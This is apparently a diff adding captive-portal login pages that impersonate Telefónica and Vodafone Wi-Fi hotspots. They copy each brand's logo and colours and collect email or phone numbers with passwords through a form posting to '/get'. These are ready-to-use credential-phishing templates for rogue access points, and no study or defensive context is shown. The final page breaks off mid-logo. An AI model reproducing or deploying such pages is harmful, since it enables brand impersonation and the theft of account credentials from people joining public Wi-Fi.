||||
padding: 12px 20px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
font-size: 16px;
|
||||
display: block;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
.submit-btn:hover {
|
||||
background: #0066ff;
|
||||
}
|
||||
|
||||
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo-container">
|
||||
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
|
||||
width="350.000000pt" height="70.000000pt" viewBox="0 0 1280.000000 307.000000"
|
||||
preserveAspectRatio="xMidYMid meet">
|
||||
<g transform="translate(0.000000,307.000000) scale(0.100000,-0.100000)"
|
||||
fill="#0066ff" stroke="none">
|
||||
<path d="M325 3056 c-104 -34 -212 -118 -262 -204 -111 -188 -73 -443 86 -583
|
||||
161 -142 401 -157 578 -35 63 43 138 137 165 206 30 77 36 217 13 296 -38 132
|
||||
-129 238 -252 297 -62 29 -78 32 -178 34 -71 2 -124 -2 -150 -11z"/>
|
||||
<path d="M1405 3056 c-280 -92 -408 -390 -280 -652 102 -208 358 -307 577
|
||||
-224 379 143 398 674 30 852 -61 30 -76 33 -177 35 -71 2 -124 -2 -150 -11z"/>
|
||||
<path d="M2459 3047 c-259 -88 -381 -393 -258 -643 36 -72 120 -160 188 -198
|
||||
132 -71 309 -74 443 -5 50 25 131 100 168 154 72 106 96 272 57 397 -41 133
|
||||
-163 258 -293 298 -92 28 -217 27 -305 -3z"/>
|
||||
<path d="M10463 2209 c-50 -10 -83 -36 -104 -82 -24 -55 -24 -83 4 -137 41
|
||||
-83 138 -110 219 -62 90 53 92 207 4 262 -29 19 -85 27 -123 19z"/>
|
||||
<path d="M8545 2079 c-44 -67 -88 -134 -98 -150 l-19 -29 115 0 115 0 114 138
|
||||
c63 75 117 143 121 150 7 9 -22 12 -130 12 l-138 0 -80 -121z"/>
|
||||
<path d="M7641 2153 c-24 -9 -61 -33 -82 -54 -50 -50 -69 -115 -69 -241 l0
|
||||
-98 -85 0 -85 0 0 -125 0 -125 85 0 85 0 0 -395 0 -395 130 0 130 0 0 395 0
|
||||
395 115 0 115 0 0 125 0 125 -116 0 -117 0 5 71 c7 97 15 103 133 107 l95 4 0
|
||||
114 0 114 -147 -1 c-106 0 -160 -5 -192 -16z"/>
|
||||
<path d="M3620 2020 l0 -130 210 0 210 0 0 -585 0 -585 140 0 140 0 0 585 0
|
||||
585 215 0 215 0 0 130 0 130 -565 0 -565 0 0 -130z"/>
|
||||
<path d="M5810 1435 l0 -715 135 0 135 0 0 715 0 715 -135 0 -135 0 0 -715z"/>
|
||||
<path d="M1419 1982 c-230 -62 -368 -272 -338 -515 23 -185 168 -341 356 -383
|
||||
339 -75 635 235 547 571 -62 241 -324 393 -565 327z"/>
|
||||
<path d="M5085 1779 c-311 -32 -510 -319 -451 -648 21 -116 64 -201 145 -282
|
||||
101 -101 222 -149 373 -149 157 0 273 45 372 144 49 50 116 153 116 180 0 3
|
||||
-60 6 -133 6 l-134 0 -42 -40 c-96 -91 -246 -90 -357 3 -30 26 -67 91 -79 140
|
||||
l-7 27 385 0 385 0 6 31 c28 141 -31 325 -142 441 -69 73 -184 133 -269 143
|
||||
-32 3 -67 7 -78 9 -11 1 -51 -1 -90 -5z m156 -234 c24 -9 59 -30 78 -48 32
|
||||
-30 81 -118 81 -144 0 -10 -58 -13 -256 -13 l-255 0 7 23 c46 151 201 232 345
|
||||
182z"/>
|
||||
<path d="M6710 1783 c-240 -17 -426 -178 -475 -410 -67 -316 110 -607 403
|
||||
-664 88 -17 232 -7 307 21 120 45 225 141 274 250 l20 45 -136 3 -137 3 -26
|
||||
-30 c-120 -130 -350 -91 -426 73 -44 94 -76 86 360 86 l383 0 7 55 c7 62 -6
|
||||
170 -29 235 -76 214 -288 349 -525 333z m145 -247 c28 -13 60 -34 72 -47 22
|
||||
-25 57 -89 68 -126 l6 -23 -255 0 c-152 0 -256 4 -256 9 0 19 22 67 46 103 68
|
||||
98 210 135 319 84z"/>
|
||||
<path d="M8465 1779 c-212 -21 -384 -171 -440 -385 -20 -76 -19 -230 1 -308
|
||||
61 -235 261 -386 514 -386 255 0 459 155 515 391 19 83 19 229 0 303 -69 265
|
||||
-297 413 -590 385z m190 -267 c54 -27 99 -77 127 -137 35 -76 33 -200 -5 -277
|
||||
-34 -70 -94 -123 -161 -143 -62 -19 -90 -19 -152 0 -150 44 -234 238 -174 399
|
||||
34 88 96 150 180 177 41 14 142 3 185 -19z"/>
|
||||
<path d="M9704 1779 c-67 -8 -127 -34 -186 -81 -40 -31 -37 -33 -52 35 l-6 27
|
||||
-120 0 -120 0 0 -520 0 -520 130 0 130 0 0 318 c0 362 4 386 70 446 105 94
|
||||
277 66 343 -57 21 -41 22 -52 25 -374 l3 -333 130 0 129 0 0 348 c0 374 -4
|
||||
411 -54 511 -50 99 -165 183 -267 196 -85 11 -95 12 -155 4z"/>
|
||||
<path d="M11240 1779 c-155 -14 -297 -99 -380 -229 -84 -130 -107 -341 -55
|
||||
-496 74 -221 261 -354 497 -354 234 0 397 111 474 326 13 36 24 69 24 74 0 6
|
||||
-56 10 -134 10 l-134 0 -6 -26 c-11 -44 -95 -119 -148 -132 -61 -16 -84 -15
|
||||
-144 3 -193 57 -260 336 -119 493 86 95 215 119 318 59 40 -24 97 -92 97 -117
|
||||
0 -6 50 -10 136 -10 l136 0 -7 33 c-4 17 -20 59 -35 92 -95 200 -278 297 -520
|
||||
274z"/>
|
||||
<path d="M12210 1766 c-147 -41 -261 -156 -285 -288 l-7 -38 131 0 c116 0 132
|
||||
2 138 18 32 90 152 138 246 98 42 -17 83 -66 97 -114 20 -75 26 -72 -127 -72
|
||||
-236 0 -341 -28 -428 -114 -66 -64 -95 -137 -95 -234 2 -197 147 -322 374
|
||||
-322 120 0 214 33 283 99 l22 20 6 -32 c14 -71 6 -67 126 -67 l109 0 0 370 c0
|
||||
341 -2 375 -19 425 -41 115 -133 203 -258 244 -73 24 -238 28 -313 7z m327
|
||||
-652 c-12 -117 -94 -193 -218 -202 -75 -6 -140 23 -163 72 -20 41 -20 57 -2
|
||||
99 27 66 86 84 280 86 l109 1 -6 -56z"/>
|
||||
<path d="M10370 1240 l0 -520 130 0 130 0 0 520 0 520 -130 0 -130 0 0 -520z"/>
|
||||
<path d="M1418 906 c-130 -38 -237 -125 -293 -240 -115 -235 -20 -513 214
|
||||
-625 75 -35 78 -36 201 -36 121 0 127 1 192 33 178 87 281 266 265 460 -15
|
||||
178 -129 328 -297 393 -69 27 -214 34 -282 15z"/>
|
||||
</g>
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
<div class="form-container">
|
||||
|
||||
<center><h1>Inicia sesión con tu cuenta Telefónica</h1>
|
||||
</center>
|
||||
|
||||
<form action="/get" id="login-form">
|
||||
|
||||
<input name="email" class="input-field" type="text" placeholder="Correo electrónico o número de móvil" required>
|
||||
|
||||
<input name="password" class="input-field" type="password" placeholder="Contraseña" required>
|
||||
|
||||
<button class="submit-btn" type="submit">Conectar</button>
|
||||
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</meta>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1 @@
|
||||
Telefónica Hotspot
|
||||
@@ -0,0 +1,208 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #FFFFFF;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: 0 auto;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
@media (min-width: 600px) {
|
||||
.container {
|
||||
max-width: 500px;
|
||||
}
|
||||
}
|
||||
|
||||
.logo-container {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.logo {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
fill: #0066ff;
|
||||
margin-right: 100px
|
||||
}
|
||||
|
||||
.form-container {
|
||||
background: #FFFFFF;
|
||||
border: 1px solid #FFFFFF;
|
||||
border-radius: 4px;
|
||||
padding: 20px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
color: #000000;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
h2 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
color: #000000;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 2px solid #0066ff;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
margin-bottom: 20px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
background: #0066ff;
|
||||
border: none;
|
||||
color: #FFFFFF;
|
||||
padding: 12px 20px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
font-size: 16px;
|
||||
display: block;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
.submit-btn:hover {
|
||||
background: #0066ff;
|
||||
}
|
||||
|
||||
.forgot-password {
|
||||
display: block;
|
||||
text-align: center;
|
||||
color: #000000;
|
||||
text-decoration: underline;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.error-message {
|
||||
color: red;
|
||||
text-align: center;
|
||||
display: none;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo-container">
|
||||
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
|
||||
width="350.000000pt" height="70.000000pt" viewBox="0 0 1280.000000 307.000000"
|
||||
preserveAspectRatio="xMidYMid meet">
|
||||
<g transform="translate(0.000000,307.000000) scale(0.100000,-0.100000)"
|
||||
fill="#0066ff" stroke="none">
|
||||
<path d="M325 3056 c-104 -34 -212 -118 -262 -204 -111 -188 -73 -443 86 -583
|
||||
161 -142 401 -157 578 -35 63 43 138 137 165 206 30 77 36 217 13 296 -38 132
|
||||
-129 238 -252 297 -62 29 -78 32 -178 34 -71 2 -124 -2 -150 -11z"/>
|
||||
<path d="M1405 3056 c-280 -92 -408 -390 -280 -652 102 -208 358 -307 577
|
||||
-224 379 143 398 674 30 852 -61 30 -76 33 -177 35 -71 2 -124 -2 -150 -11z"/>
|
||||
<path d="M2459 3047 c-259 -88 -381 -393 -258 -643 36 -72 120 -160 188 -198
|
||||
132 -71 309 -74 443 -5 50 25 131 100 168 154 72 106 96 272 57 397 -41 133
|
||||
-163 258 -293 298 -92 28 -217 27 -305 -3z"/>
|
||||
<path d="M10463 2209 c-50 -10 -83 -36 -104 -82 -24 -55 -24 -83 4 -137 41
|
||||
-83 138 -110 219 -62 90 53 92 207 4 262 -29 19 -85 27 -123 19z"/>
|
||||
<path d="M8545 2079 c-44 -67 -88 -134 -98 -150 l-19 -29 115 0 115 0 114 138
|
||||
c63 75 117 143 121 150 7 9 -22 12 -130 12 l-138 0 -80 -121z"/>
|
||||
<path d="M7641 2153 c-24 -9 -61 -33 -82 -54 -50 -50 -69 -115 -69 -241 l0
|
||||
-98 -85 0 -85 0 0 -125 0 -125 85 0 85 0 0 -395 0 -395 130 0 130 0 0 395 0
|
||||
395 115 0 115 0 0 125 0 125 -116 0 -117 0 5 71 c7 97 15 103 133 107 l95 4 0
|
||||
114 0 114 -147 -1 c-106 0 -160 -5 -192 -16z"/>
|
||||
<path d="M3620 2020 l0 -130 210 0 210 0 0 -585 0 -585 140 0 140 0 0 585 0
|
||||
585 215 0 215 0 0 130 0 130 -565 0 -565 0 0 -130z"/>
|
||||
<path d="M5810 1435 l0 -715 135 0 135 0 0 715 0 715 -135 0 -135 0 0 -715z"/>
|
||||
<path d="M1419 1982 c-230 -62 -368 -272 -338 -515 23 -185 168 -341 356 -383
|
||||
339 -75 635 235 547 571 -62 241 -324 393 -565 327z"/>
|
||||
<path d="M5085 1779 c-311 -32 -510 -319 -451 -648 21 -116 64 -201 145 -282
|
||||
101 -101 222 -149 373 -149 157 0 273 45 372 144 49 50 116 153 116 180 0 3
|
||||
-60 6 -133 6 l-134 0 -42 -40 c-96 -91 -246 -90 -357 3 -30 26 -67 91 -79 140
|
||||
l-7 27 385 0 385 0 6 31 c28 141 -31 325 -142 441 -69 73 -184 133 -269 143
|
||||
-32 3 -67 7 -78 9 -11 1 -51 -1 -90 -5z m156 -234 c24 -9 59 -30 78 -48 32
|
||||
-30 81 -118 81 -144 0 -10 -58 -13 -256 -13 l-255 0 7 23 c46 151 201 232 345
|
||||
182z"/>
|
||||
<path d="M6710 1783 c-240 -17 -426 -178 -475 -410 -67 -316 110 -607 403
|
||||
-664 88 -17 232 -7 307 21 120 45 225 141 274 250 l20 45 -136 3 -137 3 -26
|
||||
-30 c-120 -130 -350 -91 -426 73 -44 94 -76 86 360 86 l383 0 7 55 c7 62 -6
|
||||
170 -29 235 -76 214 -288 349 -525 333z m145 -247 c28 -13 60 -34 72 -47 22
|
||||
-25 57 -89 68 -126 l6 -23 -255 0 c-152 0 -256 4 -256 9 0 19 22 67 46 103 68
|
||||
98 210 135 319 84z"/>
|
||||
<path d="M8465 1779 c-212 -21 -384 -171 -440 -385 -20 -76 -19 -230 1 -308
|
||||
61 -235 261 -386 514 -386 255 0 459 155 515 391 19 83 19 229 0 303 -69 265
|
||||
-297 413 -590 385z m190 -267 c54 -27 99 -77 127 -137 35 -76 33 -200 -5 -277
|
||||
-34 -70 -94 -123 -161 -143 -62 -19 -90 -19 -152 0 -150 44 -234 238 -174 399
|
||||
34 88 96 150 180 177 41 14 142 3 185 -19z"/>
|
||||
<path d="M9704 1779 c-67 -8 -127 -34 -186 -81 -40 -31 -37 -33 -52 35 l-6 27
|
||||
-120 0 -120 0 0 -520 0 -520 130 0 130 0 0 318 c0 362 4 386 70 446 105 94
|
||||
277 66 343 -57 21 -41 22 -52 25 -374 l3 -333 130 0 129 0 0 348 c0 374 -4
|
||||
411 -54 511 -50 99 -165 183 -267 196 -85 11 -95 12 -155 4z"/>
|
||||
<path d="M11240 1779 c-155 -14 -297 -99 -380 -229 -84 -130 -107 -341 -55
|
||||
-496 74 -221 261 -354 497 -354 234 0 397 111 474 326 13 36 24 69 24 74 0 6
|
||||
-56 10 -134 10 l-134 0 -6 -26 c-11 -44 -95 -119 -148 -132 -61 -16 -84 -15
|
||||
-144 3 -193 57 -260 336 -119 493 86 95 215 119 318 59 40 -24 97 -92 97 -117
|
||||
0 -6 50 -10 136 -10 l136 0 -7 33 c-4 17 -20 59 -35 92 -95 200 -278 297 -520
|
||||
274z"/>
|
||||
<path d="M12210 1766 c-147 -41 -261 -156 -285 -288 l-7 -38 131 0 c116 0 132
|
||||
2 138 18 32 90 152 138 246 98 42 -17 83 -66 97 -114 20 -75 26 -72 -127 -72
|
||||
-236 0 -341 -28 -428 -114 -66 -64 -95 -137 -95 -234 2 -197 147 -322 374
|
||||
-322 120 0 214 33 283 99 l22 20 6 -32 c14 -71 6 -67 126 -67 l109 0 0 370 c0
|
||||
341 -2 375 -19 425 -41 115 -133 203 -258 244 -73 24 -238 28 -313 7z m327
|
||||
-652 c-12 -117 -94 -193 -218 -202 -75 -6 -140 23 -163 72 -20 41 -20 57 -2
|
||||
99 27 66 86 84 280 86 l109 1 -6 -56z"/>
|
||||
<path d="M10370 1240 l0 -520 130 0 130 0 0 520 0 520 -130 0 -130 0 0 -520z"/>
|
||||
<path d="M1418 906 c-130 -38 -237 -125 -293 -240 -115 -235 -20 -513 214
|
||||
-625 75 -35 78 -36 201 -36 121 0 127 1 192 33 178 87 281 266 265 460 -15
|
||||
178 -129 328 -297 393 -69 27 -214 34 -282 15z"/>
|
||||
</g>
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
<div class="form-container">
|
||||
|
||||
<center><h1>Sign in</h1>
|
||||
</center>
|
||||
|
||||
<form action="/get" id="login-form">
|
||||
|
||||
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
|
||||
|
||||
<input name="password" class="input-field" type="password" placeholder="Password" required>
|
||||
|
||||
<button class="submit-btn" type="submit">Connect</button>
|
||||
|
||||
<a href="javascript:void(0);" class="forgot-password">Forgot credentials?</a>
|
||||
<div class="error-message"></div>
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<script>
|
||||
document.querySelector('.forgot-password').addEventListener('click', function() {
|
||||
var errorMessage = document.querySelector('.error-message');
|
||||
errorMessage.innerHTML = "Please refer to your app if you forgot your credentials";
|
||||
errorMessage.style.display = 'block';
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1 @@
|
||||
Telefónica Hotspot
|
||||
@@ -0,0 +1,185 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #FFFFFF;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: 0 auto;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
@media (min-width: 600px) {
|
||||
.container {
|
||||
max-width: 500px;
|
||||
}
|
||||
}
|
||||
|
||||
.logo-container {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.logo {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
fill: #0066ff;
|
||||
margin-right: 100px
|
||||
}
|
||||
|
||||
.form-container {
|
||||
background: #FFFFFF;
|
||||
border: 1px solid #FFFFFF;
|
||||
border-radius: 4px;
|
||||
padding: 20px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
color: #000000;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
h2 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
color: #000000;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 2px solid #0066ff;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
margin-bottom: 20px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
background: #0066ff;
|
||||
border: none;
|
||||
color: #FFFFFF;
|
||||
padding: 12px 20px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
font-size: 16px;
|
||||
display: block;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
.submit-btn:hover {
|
||||
background: #0066ff;
|
||||
}
|
||||
|
||||
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo-container">
|
||||
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
|
||||
width="350.000000pt" height="70.000000pt" viewBox="0 0 1280.000000 307.000000"
|
||||
preserveAspectRatio="xMidYMid meet">
|
||||
<g transform="translate(0.000000,307.000000) scale(0.100000,-0.100000)"
|
||||
fill="#0066ff" stroke="none">
|
||||
<path d="M325 3056 c-104 -34 -212 -118 -262 -204 -111 -188 -73 -443 86 -583
|
||||
161 -142 401 -157 578 -35 63 43 138 137 165 206 30 77 36 217 13 296 -38 132
|
||||
-129 238 -252 297 -62 29 -78 32 -178 34 -71 2 -124 -2 -150 -11z"/>
|
||||
<path d="M1405 3056 c-280 -92 -408 -390 -280 -652 102 -208 358 -307 577
|
||||
-224 379 143 398 674 30 852 -61 30 -76 33 -177 35 -71 2 -124 -2 -150 -11z"/>
|
||||
<path d="M2459 3047 c-259 -88 -381 -393 -258 -643 36 -72 120 -160 188 -198
|
||||
132 -71 309 -74 443 -5 50 25 131 100 168 154 72 106 96 272 57 397 -41 133
|
||||
-163 258 -293 298 -92 28 -217 27 -305 -3z"/>
|
||||
<path d="M10463 2209 c-50 -10 -83 -36 -104 -82 -24 -55 -24 -83 4 -137 41
|
||||
-83 138 -110 219 -62 90 53 92 207 4 262 -29 19 -85 27 -123 19z"/>
|
||||
<path d="M8545 2079 c-44 -67 -88 -134 -98 -150 l-19 -29 115 0 115 0 114 138
|
||||
c63 75 117 143 121 150 7 9 -22 12 -130 12 l-138 0 -80 -121z"/>
|
||||
<path d="M7641 2153 c-24 -9 -61 -33 -82 -54 -50 -50 -69 -115 -69 -241 l0
|
||||
-98 -85 0 -85 0 0 -125 0 -125 85 0 85 0 0 -395 0 -395 130 0 130 0 0 395 0
|
||||
395 115 0 115 0 0 125 0 125 -116 0 -117 0 5 71 c7 97 15 103 133 107 l95 4 0
|
||||
114 0 114 -147 -1 c-106 0 -160 -5 -192 -16z"/>
|
||||
<path d="M3620 2020 l0 -130 210 0 210 0 0 -585 0 -585 140 0 140 0 0 585 0
|
||||
585 215 0 215 0 0 130 0 130 -565 0 -565 0 0 -130z"/>
|
||||
<path d="M5810 1435 l0 -715 135 0 135 0 0 715 0 715 -135 0 -135 0 0 -715z"/>
|
||||
<path d="M1419 1982 c-230 -62 -368 -272 -338 -515 23 -185 168 -341 356 -383
|
||||
339 -75 635 235 547 571 -62 241 -324 393 -565 327z"/>
|
||||
<path d="M5085 1779 c-311 -32 -510 -319 -451 -648 21 -116 64 -201 145 -282
|
||||
101 -101 222 -149 373 -149 157 0 273 45 372 144 49 50 116 153 116 180 0 3
|
||||
-60 6 -133 6 l-134 0 -42 -40 c-96 -91 -246 -90 -357 3 -30 26 -67 91 -79 140
|
||||
l-7 27 385 0 385 0 6 31 c28 141 -31 325 -142 441 -69 73 -184 133 -269 143
|
||||
-32 3 -67 7 -78 9 -11 1 -51 -1 -90 -5z m156 -234 c24 -9 59 -30 78 -48 32
|
||||
-30 81 -118 81 -144 0 -10 -58 -13 -256 -13 l-255 0 7 23 c46 151 201 232 345
|
||||
182z"/>
|
||||
<path d="M6710 1783 c-240 -17 -426 -178 -475 -410 -67 -316 110 -607 403
|
||||
-664 88 -17 232 -7 307 21 120 45 225 141 274 250 l20 45 -136 3 -137 3 -26
|
||||
-30 c-120 -130 -350 -91 -426 73 -44 94 -76 86 360 86 l383 0 7 55 c7 62 -6
|
||||
170 -29 235 -76 214 -288 349 -525 333z m145 -247 c28 -13 60 -34 72 -47 22
|
||||
-25 57 -89 68 -126 l6 -23 -255 0 c-152 0 -256 4 -256 9 0 19 22 67 46 103 68
|
||||
98 210 135 319 84z"/>
|
||||
<path d="M8465 1779 c-212 -21 -384 -171 -440 -385 -20 -76 -19 -230 1 -308
|
||||
61 -235 261 -386 514 -386 255 0 459 155 515 391 19 83 19 229 0 303 -69 265
|
||||
-297 413 -590 385z m190 -267 c54 -27 99 -77 127 -137 35 -76 33 -200 -5 -277
|
||||
-34 -70 -94 -123 -161 -143 -62 -19 -90 -19 -152 0 -150 44 -234 238 -174 399
|
||||
34 88 96 150 180 177 41 14 142 3 185 -19z"/>
|
||||
<path d="M9704 1779 c-67 -8 -127 -34 -186 -81 -40 -31 -37 -33 -52 35 l-6 27
|
||||
-120 0 -120 0 0 -520 0 -520 130 0 130 0 0 318 c0 362 4 386 70 446 105 94
|
||||
277 66 343 -57 21 -41 22 -52 25 -374 l3 -333 130 0 129 0 0 348 c0 374 -4
|
||||
411 -54 511 -50 99 -165 183 -267 196 -85 11 -95 12 -155 4z"/>
|
||||
<path d="M11240 1779 c-155 -14 -297 -99 -380 -229 -84 -130 -107 -341 -55
|
||||
-496 74 -221 261 -354 497 -354 234 0 397 111 474 326 13 36 24 69 24 74 0 6
|
||||
-56 10 -134 10 l-134 0 -6 -26 c-11 -44 -95 -119 -148 -132 -61 -16 -84 -15
|
||||
-144 3 -193 57 -260 336 -119 493 86 95 215 119 318 59 40 -24 97 -92 97 -117
|
||||
0 -6 50 -10 136 -10 l136 0 -7 33 c-4 17 -20 59 -35 92 -95 200 -278 297 -520
|
||||
274z"/>
|
||||
<path d="M12210 1766 c-147 -41 -261 -156 -285 -288 l-7 -38 131 0 c116 0 132
|
||||
2 138 18 32 90 152 138 246 98 42 -17 83 -66 97 -114 20 -75 26 -72 -127 -72
|
||||
-236 0 -341 -28 -428 -114 -66 -64 -95 -137 -95 -234 2 -197 147 -322 374
|
||||
-322 120 0 214 33 283 99 l22 20 6 -32 c14 -71 6 -67 126 -67 l109 0 0 370 c0
|
||||
341 -2 375 -19 425 -41 115 -133 203 -258 244 -73 24 -238 28 -313 7z m327
|
||||
-652 c-12 -117 -94 -193 -218 -202 -75 -6 -140 23 -163 72 -20 41 -20 57 -2
|
||||
99 27 66 86 84 280 86 l109 1 -6 -56z"/>
|
||||
<path d="M10370 1240 l0 -520 130 0 130 0 0 520 0 520 -130 0 -130 0 0 -520z"/>
|
||||
<path d="M1418 906 c-130 -38 -237 -125 -293 -240 -115 -235 -20 -513 214
|
||||
-625 75 -35 78 -36 201 -36 121 0 127 1 192 33 178 87 281 266 265 460 -15
|
||||
178 -129 328 -297 393 -69 27 -214 34 -282 15z"/>
|
||||
</g>
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
<div class="form-container">
|
||||
|
||||
<center><h1>Sign in</h1>
|
||||
</center>
|
||||
|
||||
<form action="/get" id="login-form">
|
||||
|
||||
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
|
||||
|
||||
<input name="password" class="input-field" type="password" placeholder="Password" required>
|
||||
|
||||
<button class="submit-btn" type="submit">Connect</button>
|
||||
|
||||
|
||||
</form>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1 @@
|
||||
Vodafone Free Hotspot
|
||||
@@ -0,0 +1,163 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
background-color: #FFFFFF;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 400px;
|
||||
margin: 0 auto;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
@media (min-width: 600px) {
|
||||
.container {
|
||||
max-width: 500px;
|
||||
}
|
||||
}
|
||||
|
||||
.logo-container {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.logo {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
fill: #6C429C;
|
||||
}
|
||||
|
||||
.vodafone-name {
|
||||
font-size: 42px;
|
||||
color: #E60000;
|
||||
margin-left: 0px;
|
||||
}
|
||||
|
||||
.form-container {
|
||||
background: #FFFFFF;
|
||||
border: 1px solid #FFFFFF;
|
||||
border-radius: 4px;
|
||||
padding: 20px;
|
||||
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
|
||||
}
|
||||
|
||||
h1 {
|
||||
text-align: center;
|
||||
font-size: 28px;
|
||||
font-weight: 500;
|
||||
color: #E60000;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.input-field {
|
||||
width: 100%;
|
||||
padding: 12px;
|
||||
border: 1px solid #E60000;
|
||||
border-radius: 4px;
|
||||
box-sizing: border-box;
|
||||
margin-bottom: 20px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
background: #E60000;
|
||||
border: none;
|
||||
color: #FFFFFF;
|
||||
padding: 12px 20px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.submit-btn:hover {
|
||||
background: #E60000;
|
||||
}
|
||||
|
||||
.forgot-password {
|
||||
display: block;
|
||||
text-align: center;
|
||||
color: #000000;
|
||||
text-decoration: underline;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.error-message {
|
||||
color: red;
|
||||
text-align: center;
|
||||
display: none;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="container">
|
||||
|
||||
<div class="logo-container">
|
||||
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
|
||||
width="50.000000pt" height="50.000000pt" viewBox="0 0 900.000000 900.000000"
|
||||
preserveAspectRatio="xMidYMid meet">
|
||||
<g transform="translate(0.000000,900.000000) scale(0.100000,-0.100000)"
|
||||
fill="#E60000" stroke="none">
|
||||
<path d="M4130 8945 c-932 -77 -1814 -444 -2530 -1054 -117 -100 -354 -335
|
||||
-460 -456 -99 -114 -284 -356 -352 -460 -72 -110 -138 -215 -138 -219 0 -2
|
||||
-22 -41 -48 -87 -43 -74 -139 -266 -185 -369 -113 -250 -228 -612 -287 -899
|
||||
-144 -710 -111 -1496 92 -2166 226 -748 600 -1371 1149 -1912 170 -167 277
|
||||
-259 456 -394 1001 -751 2240 -1039 3503 -814 531 95 1127 334 1600 643 266
|
||||
173 514 377 747 613 167 170 260 277 393 454 184 245 302 439 440 720 300 613
|
||||
450 1265 450 1955 0 547 -92 1055 -281 1562 -229 614 -575 1146 -1050 1615
|
||||
-341 335 -670 574 -1097 795 l-115 59 -51 -12 c-173 -40 -421 -148 -570 -248
|
||||
-405 -273 -684 -672 -792 -1131 -22 -94 -44 -281 -44 -375 l0 -81 73 -19 c98
|
||||
-25 374 -116 472 -155 321 -130 611 -316 831 -535 373 -371 567 -829 603
|
||||
